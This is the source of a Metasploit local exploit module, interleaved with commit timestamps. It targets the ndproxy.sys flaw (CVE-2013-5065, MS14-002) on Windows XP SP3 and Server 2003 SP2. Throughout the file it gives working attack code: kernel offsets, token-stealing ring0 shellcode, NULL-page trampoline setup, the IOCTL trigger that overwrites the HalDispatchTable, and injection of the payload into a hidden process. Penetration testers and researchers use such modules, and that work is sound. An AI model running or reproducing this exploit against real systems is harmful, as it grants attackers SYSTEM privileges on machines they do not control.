2013-12-11 14:52:35 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2013-12-11 14:52:35 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2014-08-04 18:28:00 +00:00
require 'msf/core/exploit/local/windows_kernel'
2017-07-14 07:46:59 +00:00
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Exploit :: Local
2013-12-11 14:52:35 +00:00
Rank = AverageRanking
2014-08-04 18:28:00 +00:00
include Msf :: Exploit :: Local :: WindowsKernel
2013-12-12 14:26:44 +00:00
include Msf :: Post :: File
2013-12-11 14:52:35 +00:00
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
2014-08-04 18:47:39 +00:00
def initialize ( info = { } )
2013-12-11 14:52:35 +00:00
super ( update_info ( info , {
2014-08-04 18:47:39 +00:00
'Name' = > 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
'Description' = > %q(
2013-12-11 14:52:35 +00:00
This module exploits a flaw in the ndproxy . sys driver on Windows XP SP3 and Windows 2003
2013-12-16 20:57:33 +00:00
SP2 systems , exploited in the wild in November , 2013 . The vulnerability exists while
2013-12-11 14:56:31 +00:00
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc , where user provided input is used
2013-12-16 20:57:33 +00:00
to access an array unsafely , and the value is used to perform a call , leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems . This
2013-12-11 14:56:31 +00:00
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2 . In order to
work the service " Routing and Remote Access " must be running on the target system .
2014-08-04 18:47:39 +00:00
) ,
'License' = > MSF_LICENSE ,
'Author' = >
2013-12-11 14:52:35 +00:00
[
2013-12-17 02:28:49 +00:00
'Unknown' , # Vulnerability discovery
2013-12-11 14:52:35 +00:00
'ryujin' , # python PoC
'Shahin Ramezany' , # C PoC
'juan vazquez' # MSF module
] ,
2014-08-04 18:47:39 +00:00
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
'Payload' = >
2013-12-11 14:52:35 +00:00
{
2014-08-04 18:47:39 +00:00
'Space' = > 4096 ,
2013-12-11 14:52:35 +00:00
'DisableNops' = > true
} ,
2014-08-04 18:47:39 +00:00
'SessionTypes' = > [ 'meterpreter' ] ,
'DefaultOptions' = >
2013-12-11 14:52:35 +00:00
{
2014-08-04 18:47:39 +00:00
'EXITFUNC' = > 'thread'
2013-12-11 14:52:35 +00:00
} ,
2014-08-04 18:47:39 +00:00
'Targets' = >
2013-12-11 14:52:35 +00:00
[
2014-08-04 18:47:39 +00:00
[ 'Automatic' , { } ] ,
[ 'Windows XP SP3' ,
2013-12-11 14:52:35 +00:00
{
'HaliQuerySystemInfo' = > 0x16bba , # Stable over Windows XP SP3 updates
'_KPROCESS' = > " \x44 " , # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' = > " \xc8 " , # Offset to TOKEN from the _EPROCESS struct
'_UPID' = > " \x84 " , # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' = > " \x88 " # Offset to ActiveProcessLinks _EPROCESS struct
}
] ,
2014-08-04 18:47:39 +00:00
[ 'Windows Server 2003 SP2' ,
2013-12-11 14:52:35 +00:00
{
'HaliQuerySystemInfo' = > 0x1fa1e ,
'_KPROCESS' = > " \x38 " ,
'_TOKEN' = > " \xd8 " ,
'_UPID' = > " \x94 " ,
'_APLINKS' = > " \x98 "
}
]
] ,
2014-08-04 18:47:39 +00:00
'References' = >
2013-12-11 14:52:35 +00:00
[
2014-08-04 18:47:39 +00:00
%w( CVE 2013-5065 ) ,
%w( MSB MS14-002 ) ,
2016-07-15 17:00:31 +00:00
%w( OSVDB 100368 ) ,
2014-08-04 18:47:39 +00:00
%w( BID 63971 ) ,
%w( EDB 30014 ) ,
%w( URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/ ) ,
%w( URL http://technet.microsoft.com/en-us/security/advisory/2914486 ) ,
%w( URL http://www.secniu.com/blog/?p=53 ) ,
%w( URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html ) ,
%w( URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html )
2013-12-11 14:52:35 +00:00
] ,
2014-08-04 18:47:39 +00:00
'DisclosureDate' = > 'Nov 27 2013' ,
'DefaultTarget' = > 0
2013-12-11 14:52:35 +00:00
} ) )
end
def ring0_shellcode ( t )
restore_ptrs = " \x31 \xc0 " # xor eax, eax
2014-08-15 20:11:37 +00:00
restore_ptrs << " \xb8 " + [ @addresses [ 'HaliQuerySystemInfo' ] ] . pack ( 'V' ) # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << " \xa3 " + [ @addresses [ 'halDispatchTable' ] + 4 ] . pack ( 'V' ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
2013-12-11 14:52:35 +00:00
2014-08-04 18:28:00 +00:00
ring0_shellcode = restore_ptrs + token_stealing_shellcode ( t )
2014-08-04 18:47:39 +00:00
ring0_shellcode
2013-12-11 14:52:35 +00:00
end
def fill_memory ( proc , address , length , content )
2014-08-15 20:11:37 +00:00
session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ address ] . pack ( 'V' ) , nil , [ length ] . pack ( 'V' ) , 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN' , 'PAGE_EXECUTE_READWRITE' )
2013-12-11 22:28:09 +00:00
unless proc . memory . writable? ( address )
2014-08-04 18:47:39 +00:00
vprint_error ( 'Failed to allocate memory' )
2013-12-11 14:52:35 +00:00
return nil
end
2013-12-11 22:28:09 +00:00
vprint_good ( " #{ address } is now writable " )
2013-12-11 14:52:35 +00:00
result = proc . memory . write ( address , content )
if result . nil?
2014-08-04 18:47:39 +00:00
vprint_error ( 'Failed to write contents to memory' )
2013-12-11 14:52:35 +00:00
return nil
else
vprint_good ( " Contents successfully written to 0x #{ address . to_s ( 16 ) } " )
end
2014-08-04 18:47:39 +00:00
address
2013-12-11 14:52:35 +00:00
end
2013-12-12 14:26:44 +00:00
def create_proc
2013-12-19 01:43:59 +00:00
windir = session . sys . config . getenv ( 'windir' )
2013-12-12 14:26:44 +00:00
cmd = " #{ windir } \\ System32 \\ notepad.exe "
# run hidden
2013-12-16 22:19:17 +00:00
begin
2014-08-04 18:47:39 +00:00
proc = session . sys . process . execute ( cmd , nil , 'Hidden' = > true )
2013-12-16 22:19:17 +00:00
rescue Rex :: Post :: Meterpreter :: RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
2014-08-04 18:47:39 +00:00
proc . pid
2013-12-12 14:26:44 +00:00
end
2013-12-11 14:52:35 +00:00
def disclose_addresses ( t )
addresses = { }
2014-08-04 18:28:00 +00:00
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table . nil?
2014-08-04 18:47:39 +00:00
addresses [ 'halDispatchTable' ] = hal_dispatch_table
vprint_good ( " HalDispatchTable found at 0x #{ addresses [ 'halDispatchTable' ] . to_s ( 16 ) } " )
2013-12-11 14:52:35 +00:00
2014-08-04 19:15:39 +00:00
vprint_status ( 'Getting the hal.dll base address...' )
2014-08-04 18:47:39 +00:00
hal_info = find_sys_base ( 'hal.dll' )
2013-12-11 14:52:35 +00:00
if hal_info . nil?
2014-08-04 19:15:39 +00:00
vprint_error ( 'Failed to disclose hal.dll base address' )
2013-12-11 14:52:35 +00:00
return nil
end
hal_base = hal_info [ 0 ]
2014-08-04 19:15:39 +00:00
vprint_good ( " hal.dll base address disclosed at 0x #{ hal_base . to_s ( 16 ) } " )
2013-12-11 14:52:35 +00:00
hali_query_system_information = hal_base + t [ 'HaliQuerySystemInfo' ]
2014-08-04 18:47:39 +00:00
addresses [ 'HaliQuerySystemInfo' ] = hali_query_system_information
2013-12-11 14:52:35 +00:00
2014-08-04 19:15:39 +00:00
vprint_good ( " HaliQuerySystemInfo address disclosed at 0x #{ addresses [ 'HaliQuerySystemInfo' ] . to_s ( 16 ) } " )
2014-08-04 18:47:39 +00:00
addresses
2013-12-11 14:52:35 +00:00
end
def check
2016-10-28 22:11:20 +00:00
if sysinfo [ 'Architecture' ] == ARCH_X64
2018-03-29 12:03:33 +00:00
vprint_error 'Running against 64-bit systems is not supported'
return CheckCode :: Safe
2013-12-11 14:52:35 +00:00
end
2014-08-04 18:47:39 +00:00
handle = open_device ( '\\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
return Exploit :: CheckCode :: Safe if handle . nil?
2013-12-11 14:52:35 +00:00
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
os = sysinfo [ 'OS' ]
2013-12-12 13:39:19 +00:00
case os
when / windows xp.*service pack 3 /i
return Exploit :: CheckCode :: Appears
2016-10-28 22:11:20 +00:00
when / (2003| \ .net server).*service pack 2 /i
2013-12-12 13:39:19 +00:00
return Exploit :: CheckCode :: Appears
when / windows xp /i
return Exploit :: CheckCode :: Detected
2016-10-28 22:11:20 +00:00
when / (2003| \ .net server) /i
2013-12-12 13:39:19 +00:00
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
2013-12-11 14:52:35 +00:00
end
def exploit
2016-10-28 22:11:20 +00:00
if sysinfo [ 'Architecture' ] == ARCH_X64
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: NoTarget , 'Running against 64-bit systems is not supported' )
2013-12-11 14:52:35 +00:00
end
my_target = nil
if target . name =~ / Automatic /
2014-08-04 18:47:39 +00:00
print_status ( 'Detecting the target system...' )
os = sysinfo [ 'OS' ]
2013-12-12 13:39:19 +00:00
if os =~ / windows xp.*service pack 3 /i
2013-12-11 14:52:35 +00:00
my_target = targets [ 1 ]
print_status ( " Running against #{ my_target . name } " )
2014-08-04 18:47:39 +00:00
elsif ( os =~ / 2003 / ) && ( os =~ / service pack 2 /i )
2013-12-11 14:52:35 +00:00
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
2014-08-04 18:47:39 +00:00
elsif ( os =~ / \ .net server /i ) && ( os =~ / service pack 2 /i )
2013-12-11 14:52:35 +00:00
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
end
else
my_target = target
end
if my_target . nil?
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: NoTarget , 'Remote system not detected as target, select the target manually' )
2013-12-11 14:52:35 +00:00
end
2014-08-04 18:47:39 +00:00
print_status ( 'Checking device...' )
handle = open_device ( '\\\\.\\NDProxy' , 0x0 , 0x0 , 0x3 )
2013-12-11 14:52:35 +00:00
if handle . nil?
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: NoTarget , '\\\\.\\NDProxy device not found' )
2013-12-11 14:52:35 +00:00
else
2014-08-04 18:47:39 +00:00
print_good ( '\\\\.\\NDProxy found!' )
2013-12-11 14:52:35 +00:00
end
2014-08-04 18:47:39 +00:00
print_status ( 'Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...' )
2013-12-11 14:52:35 +00:00
@addresses = disclose_addresses ( my_target )
if @addresses . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'Failed to disclose necessary addresses for exploitation, aborting.' )
2013-12-11 14:52:35 +00:00
else
2014-08-04 18:47:39 +00:00
print_good ( 'Addresses successfully disclosed.' )
2013-12-11 14:52:35 +00:00
end
2014-08-04 18:47:39 +00:00
print_status ( 'Storing the kernel stager in memory...' )
2013-12-11 14:52:35 +00:00
this_proc = session . sys . process . open
kernel_shell = ring0_shellcode ( my_target )
kernel_shell_address = 0x1000
result = fill_memory ( this_proc , kernel_shell_address , kernel_shell . length , kernel_shell )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'Error while storing the kernel stager shellcode on memory' )
2013-12-11 14:52:35 +00:00
else
print_good ( " Kernel stager successfully stored at 0x #{ kernel_shell_address . to_s ( 16 ) } " )
end
2014-08-04 18:47:39 +00:00
print_status ( 'Storing the trampoline to the kernel stager on memory...' )
2013-12-11 14:52:35 +00:00
trampoline = " \x90 " * 0x38 # nops
trampoline << " \x68 " # push opcode
2014-08-04 18:47:39 +00:00
trampoline << [ 0x1000 ] . pack ( 'V' ) # address to push
2013-12-11 14:52:35 +00:00
trampoline << " \xc3 " # ret
trampoline_addr = 0x1
result = fill_memory ( this_proc , trampoline_addr , trampoline . length , trampoline )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'Error while storing trampoline on memory' )
2013-12-11 14:52:35 +00:00
else
print_good ( " Trampoline successfully stored at 0x #{ trampoline_addr . to_s ( 16 ) } " )
end
2014-08-04 18:47:39 +00:00
print_status ( 'Storing the IO Control buffer on memory...' )
2013-12-11 14:52:35 +00:00
buffer = " \x00 " * 1024
2014-08-04 18:47:39 +00:00
buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( 'V' ) # In order to trigger the vulnerable call
buffer [ 28 , 4 ] = [ 0x34 ] . pack ( 'V' ) # In order to trigger the vulnerable call
2013-12-11 14:52:35 +00:00
buffer_addr = 0x0d0d0000
result = fill_memory ( this_proc , buffer_addr , buffer . length , buffer )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'Error while storing the IO Control buffer on memory' )
2013-12-11 14:52:35 +00:00
else
print_good ( " IO Control buffer successfully stored at 0x #{ buffer_addr . to_s ( 16 ) } " )
end
2014-08-04 18:47:39 +00:00
print_status ( 'Triggering the vulnerability, corrupting the HalDispatchTable...' )
2013-12-11 14:52:35 +00:00
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
2014-08-04 18:47:39 +00:00
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
2013-12-11 14:52:35 +00:00
session . railgun . kernel32 . CloseHandle ( handle )
2014-08-04 18:47:39 +00:00
print_status ( 'Executing the Kernel Stager throw NtQueryIntervalProfile()...' )
session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
2013-12-11 14:52:35 +00:00
2014-08-04 18:47:39 +00:00
print_status ( 'Checking privileges after exploitation...' )
2013-12-11 14:52:35 +00:00
2013-12-11 22:28:09 +00:00
unless is_system?
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'The exploitation was not successful' )
2013-12-11 14:52:35 +00:00
end
2013-12-16 22:19:17 +00:00
p = payload . encoded
2014-08-04 18:47:39 +00:00
print_good ( 'Exploitation successful! Creating a new process and launching payload...' )
2013-12-12 14:26:44 +00:00
new_pid = create_proc
2013-12-16 22:19:17 +00:00
if new_pid . nil?
2014-08-04 18:47:39 +00:00
print_warning ( 'Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...' )
2013-12-16 22:49:44 +00:00
return
2013-12-16 22:19:17 +00:00
end
2013-12-12 14:26:44 +00:00
2014-08-04 18:47:39 +00:00
print_status ( " Injecting #{ p . length } bytes into #{ new_pid } memory and executing it... " )
2013-12-16 22:49:44 +00:00
if execute_shellcode ( p , nil , new_pid )
2014-08-04 18:47:39 +00:00
print_good ( 'Enjoy' )
2013-12-11 14:52:35 +00:00
else
2014-08-04 18:47:39 +00:00
fail_with ( Failure :: Unknown , 'Error while executing the payload' )
2013-12-11 14:52:35 +00:00
end
end
end